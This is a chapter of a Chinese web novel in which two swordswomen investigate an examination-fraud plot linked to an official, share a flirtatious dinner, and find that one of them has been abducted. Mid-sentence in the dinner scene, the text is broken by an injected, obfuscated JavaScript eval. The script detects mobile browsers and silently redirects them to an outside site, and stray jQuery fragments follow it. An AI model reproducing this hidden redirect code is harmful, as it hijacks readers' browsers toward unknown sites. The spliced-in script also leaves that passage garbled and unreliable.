第二天一早，褚秋水是被卫寒苍梳头的声音吵醒的。


    褚秋水睁开一只眼，看见卫寒苍坐在窗边，手里捏着梳子，对着镜子左看右看，表情严肃。


    “你又怎么了？”


    “昨天那身男装把头发压坏了。”卫寒苍头也不回，“你看这边，都翘起来了。”


    褚秋水眯着眼看了一会儿。说实话，她什么都没看出来。但她知道，如果说“看不出来”，卫寒苍会用那种幽怨的眼神看她一整天。


    “嗯，确实有点。”她语气尽量真诚。


    卫寒苍从镜子里瞥了她一眼，那眼神分明写着不信。但她没继续纠缠，只是从桌上拿起小瓷瓶，倒出几滴桂花油往头上抹。一股淡淡的花香飘过来。


    褚秋水坐起来，揉了揉眼睛。昨晚又没睡好，梦里全是老师那个躲闪的眼神，追了一夜，累得像跟人打了一场。


    “今天怎么安排？”卫寒苍问。


    褚秋水想了想。来福死了，线索断了。唯一的突破口就是那个“贵人”——考前第三天约陈昀见面的人。还有那个在茶楼里一脸阴冷走掉的绸衫青年。


    “分头行动。”


    卫寒苍的手顿了顿，从镜子里看着她。“分头？”


    “嗯。你再去福运茶楼坐坐，那边人多嘴杂，说不定能听到什么。”褚秋水已经开始穿衣服，把大剑往背上一挂，“我去找陈昀的同乡江远，再问问那个‘贵人’的事。”


    卫寒苍沉默了一会儿，把最后一根碎发按下去，放下梳子。


    “行。不过你得答应我一件事。”


    “什么？”


    “如果查到什么，别一个人冲动。”她转过身，难得认真，“你这个人什么都好，就是脑子一热什么都不顾。”


    褚秋水想反驳，但张了张嘴，发现自己确实没什么好反驳的。


    “知道了。”她嘟囔了一声。


    卫寒苍看着她那副不情不愿的样子，笑了。


    “走吧。”


    两人在谢府门口分头。褚秋水往城南走，卫寒苍往城东走。走了几步，褚秋水回头看了一眼——卫寒苍的背影在人流中很快就被淹没了。


    她收回目光，加快脚步。


    江远住在贡院附近一家叫“及第客栈”的小店里。门面不大，夹在一家书铺和一家面馆中间。


    褚秋水推门进去，一股陈年木头味和墨汁味扑面而来。掌柜的是个瘦小的老头，正趴在柜台上打瞌睡。


    “请问江远江公子住哪间？”


    老头猛地惊醒，看见她背后的大剑，眼睛一下子瞪圆了。


    “天字三号，楼上右转。”


    楼梯窄得只能容一个人过，踩上去吱呀吱呀的。二楼走廊更窄，两边都是房间，逼仄得像鸽子笼。


    天字三号在最里面。门虚掩着，里面传来翻书的声音。


    褚秋水敲了敲门。


    “请进。”


    她推门进去。房间很小，一张床，一张桌，一把椅子，桌上摞着高高一堆书。江远坐在桌前，手里拿着一本书。


    看见褚秋水，他愣了一下。“褚姑娘？陈昀的事有新进展了？”


    “还没。”褚秋水在床边坐下——因为只有一把椅子，被江远占了。“就是想再问问那天的事。”


    江远点点头，把书合上。


    “那个‘贵人’，”褚秋水说，“你再想想，有没有什么细节漏了？比如穿什么颜色的衣服，说话什么口音？”


    江远皱起眉头，想了很久。


    “青色。”他终于说。


    “青色？”


    “衣服是青色的。那种很深很深的青色，不是读书人穿的那种浅青。”他顿了顿，“是官服的颜色。”


    褚秋水的心跳快了一拍。


    “你确定？”


    江远点点头，表情越来越笃定。“确定。那天光线很好，我看得很清楚。”


    他又描述了一些细节，褚秋水一一记下。深青色官服，走路笔直，腰悬玉器——这是朝中官员的标准打扮。


    “还有别的吗？”


    江远摇了摇头。


    “就这些了。要是早知道……”他没说下去。


    褚秋水站起来。“多谢江公子。”


    “等等。”江远从桌上那堆书里抽出一张纸，递过来，“这是陈昀写的。我本来是想留着做纪念的，但现在……”


    褚秋水接过来。是一首诗，字迹端正，笔锋有力。最后两句是——“莫道寒门无俊杰，且看明朝榜首名”。


    她把纸折好，收进怀里。“我会还给他的。”


    江远点点头。


    从客栈出来，褚秋水一边往谢府走一边想。深青色官服，走路笔直，腰悬玉器——这样的官员在京城说多不多，说少也不少。但能在考前第三天偷偷去见一个寒门举子的，范围就小多了。


    路过福运茶楼的时候，她往里看了一眼。大堂里人声鼎沸，说书先生正讲得唾沫横飞。没看见卫寒苍，大概在楼上。


    回到谢府的时候，卫寒苍还没回来。褚秋水在院子里等了一会儿，有点坐不住。


    她发现自己已经不太习惯一个人待着了——以前在山上，一个人练剑，一个人吃饭，从来不觉着什么。现在身边少了那个人叽叽喳喳的声音，少了竹叶清香，连空气都变得寡淡了。


    她在心里骂了自己一句没出息，又坐下来。


    过了一炷香的功夫，院门外传来脚步声。卫寒苍推门进来，手里捏着一把瓜子，边走边嗑，一脸悠闲。


    “查到了？”褚秋水站起来。


    卫寒苍在石凳上坐下，把瓜子壳吐在地上，动作优雅得像在品茶。


    “查到了。那个绸衫青年，姓孙，叫孙明义，也是个举子。跟陈昀同一年进的京，但才学差得远，考了两年都没中。”


    褚秋水在她对面坐下。“跟周延有关系吗？”


    “巧了。”卫寒苍从袖子里摸出一张纸，展开，“孙明义的舅舅的连襟的堂兄，在周延府上当管事。”


    褚秋水被她这串亲戚关系绕得有点晕：“……什么？”


    “就是说，”卫寒苍把纸折好塞回袖子，“孙明义跟周延府上搭得上话。而且——”她顿了顿，卖了个关子。


    “而且什么？”


    “而且我今天在茶楼里听见有人说，周延今年本来想收陈昀做门生。但陈昀是谢云卿的人，不肯转投，周延面子上过不去，放话要给他点颜色看看。”


    褚秋水沉默了一会儿。


    “你觉得周延是那个‘贵人’？”


    “不。”卫寒苍摇头，“我觉得那个‘贵人’是周延的人，是派去试探陈昀的。陈昀不肯投靠，他们就翻脸了——你既然不肯当我的门生，那你也别想考。”


    她顿了顿，声音低了一点。“然后就有了来福，有了试题，有了牢里的‘急病’。”


    褚秋水的心沉了下去。她以为科举是凭才学论高低的地方，但现在看来，才学是最不重要的东西。重要的是你是谁的人，你站谁的队。


    “那老师呢？”她问，“周延想整的是陈昀，还是老师？”


    卫寒苍看着她。“你觉得呢？”


    褚秋水没说话。


    她当然知道答案。陈昀只是一个寒门举子，得罪了周延最多考不上。


    但如果能借陈昀的事把谢云卿拉下马——那才是周延真正想要的。结党营私，培植门生，包庇舞弊——这三个罪名，随便哪一个都够谢云卿喝一壶的。


    “所以来福是被灭口的。”她说，声音有些发涩，“不是怕他说出什么，是因为他知道得太多了。”


    卫寒苍点点头。


    “那接下来怎么办？”


    褚秋水想了想。“查周延。既然他跟这件事脱不了干系，那就查他。”


    “怎么查？他是朝廷大员，我们连他府门都进不去。”


    褚秋水从怀里摸出两块令牌——老师给她的刑部侍郎令牌和南府给她的谢礼。“有这些。”


    “你想用这个查周延？”


    “不直接查。先查孙明义。他是周延的人，又是陈昀的对头，说不定能从他身上挖出什么。”


    两人又商量了一会儿，把明天的计划定下来。


    说完正事，天已经黑了。管家送来了晚饭，两菜一汤。褚秋水吃了三碗饭，卫寒苍吃了半碗，剩下的半碗一直在挑挑拣拣。


    褚秋水看着她那一排被码得整整齐齐的蔬菜，忽然伸手过去，把蔬菜全拨进了自己碗里。


    卫寒苍瞪大眼睛。“你干嘛？”


    “你不吃别浪费。”褚秋水理直气壮，夹起一筷子塞进嘴里。


    卫寒苍看着她鼓着腮帮子嚼嚼嚼的样子，表情从震惊变成嫌弃，又从嫌弃变成一种说不清的东西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380661|199937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “你这个人，”她说，“怎么什么都吃？”


    “蔬菜怎么了？蔬菜多香。”褚秋水又夹了一筷子。


    “你——”卫寒苍的脸红了一下，不知道是气的还是别的什么，“你这人真是……”


    她话没说完，褚秋水已经伸筷子到她碗里了。卫寒苍眼疾手快，筷子一横，把褚秋水的筷子夹住。


    两双筷子在半空中较劲。褚秋水力气大，但卫寒苍手巧，筷子像蛇一样缠上来。


    “松手。”卫寒苍说。


    “你先松。”


    “你先。”


    两人对视一眼，同时发力——那片蔬菜被夹成两半，一半掉在桌上，一半飞出去，精准地落进了卫寒苍的领口。


    卫寒苍整个人僵住了。


    褚秋水也僵住了。


    “我……我不是故意的。”褚秋水连忙伸手去帮她捡，手伸到一半又缩回来——那个位置不太方便。


    卫寒苍低头看了一眼，又抬头看着她。那张脸上的表情精彩极了，又气又笑，又羞又恼，最后全化成了一声长长的叹息。


    “褚秋水，”她说，一字一顿，“你是不是故意的？”


    “真不是！”褚秋水举手发誓，“我发誓，我就是想吃葱花。”


    卫寒苍盯着她看了三秒，然后笑了。那笑容来得猝不及防，笑得眼睛弯弯的，笑得肩膀都在抖。


    “你这个人，”她一边笑一边摇头，“真的是……”


    两个人对视一眼，都笑了。


    笑完之后，卫寒苍站起来，走到她面前，伸手把她乱掉的头发整理好。动作很轻，手指从她发丝间穿过，带起一点温热。


    “你就是个呆瓜。”她说。


    褚秋水抬头看着她。烛光下，卫寒苍的脸被镀上一层暖黄色的光，睫毛的影子落在脸颊上，一颤一颤的。


    “你才呆瓜。”褚秋水说，声音不知怎么就轻了下来。


    卫寒苍没接话，只是低头看着她。那双桃花眼里，不像平时那般狡黠，而是仿佛要看到她心里去。


    褚秋水的心跳忽然快了一拍。


    “那个……”她清了清嗓子，“我吃饱了。”


    卫寒苍愣了一下，然后笑了。


    “嗯。”


    褚秋水飞也似地逃回床上。


    盯着帐顶，脑子里乱七八糟的。今天查到的东西、老师那个躲闪的眼神、卫寒苍头发从指缝间滑过去的感觉……混在一起，理不清。


    “秋水。”卫寒苍忽然开口。


    “嗯？”


    “你说，如果有一天我不见了，你会找我吗？”


    褚秋水转头看她。黑暗中看不清她的脸，只能看见一个模糊的轮廓。


    “会。”她说，没有犹豫。


    卫寒苍沉默了一会儿。


    “为什么？”


    “因为……”褚秋水想了想，“因为你是我朋友。”


    卫寒苍没说话。


    过了一会儿，一只手伸过来，握住她的。那只手有点凉，但很稳。


    “睡吧。”她说。


    褚秋水握紧那只手。


    “嗯。”


    窗外的月亮慢慢爬上来，月光透过窗纸洒进来，在地上铺了一层银霜。


    这一夜，她没再做那个追着老师跑的梦。


    第二天一早，褚秋水是被鸟叫声吵醒的。


    她睁开眼，习惯性地往身边摸了一把。


    空的。凉的。


    她愣了一下，坐起来。屋里安安静静的，卫寒苍的梳妆台还在，那些瓶瓶罐罐还在，铜镜还在。但她的人，不见了。


    这个场景有些熟悉，褚秋水的心跳漏了一拍。


    她掀开被子，光着脚踩在地上。桌上放着一张纸条，被茶杯压着，边角微微翘起。


    她拿起来。


    纸条上只有一行字，字迹歪歪扭扭的，像是用左手写的——


    “要查案，还是要她的命？”


    褚秋水的手开始发抖。


    她猛地推开门，冲出去。院子里空荡荡的，竹叶被风吹得沙沙作响。管家的房间没人，厨房没人，前厅没人，后门也没人。


    卫寒苍不见了。


    她站在空荡荡的院子里，把那行字又看了一遍。


    “要查案，还是要她的命？”


    手里的纸条被她攥成一团。